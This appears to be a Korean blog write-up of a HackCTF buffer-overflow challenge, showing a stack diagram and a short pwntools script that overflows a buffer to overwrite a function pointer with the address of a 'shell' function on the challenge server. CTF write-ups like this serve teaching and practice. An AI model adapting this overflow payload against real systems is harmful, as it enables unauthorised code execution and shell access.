v5가 함수 포인터로 선언되어 있으므로 v5 자리에 쉘을 실행시키는 함수를 넣으면 될 것 같다. gdb로 분석하여 다른 함수들이 존재하는지 살펴보자.
이번 문제는 gdb와 ida로 분석해보면 함수 목록중에 shell 이라는 함수가 존재한다. 이 부분을 살펴보자.
역시 쉘을 실행시키는 함수가 있다. 이 함수의 주소를 찾아서 v5 자리에 덮어주면 쉘이 실행될 것이다.
—————————— High Address
| ret(4) |
——————————
| sfp(4) |
—————————— ← ebp
| dummy |
——————————
| v5 |
—————————— ← ebp - 0xc
| dummy |
——————————
| s |
—————————— Low Address ← ebp -0x8c
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3001)
payload = "\x90"*128 + "\x9b\x84\x04\x08"
r.sendline(payload)
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
BOF_PIE (0) | 2020.08.28 |
---|---|
Offset (0) | 2020.08.28 |
내 버퍼가 흘러넘친다!!! (0) | 2020.08.28 |
Basic_FSB (0) | 2020.08.28 |
Basic_BOF #1 (0) | 2020.08.28 |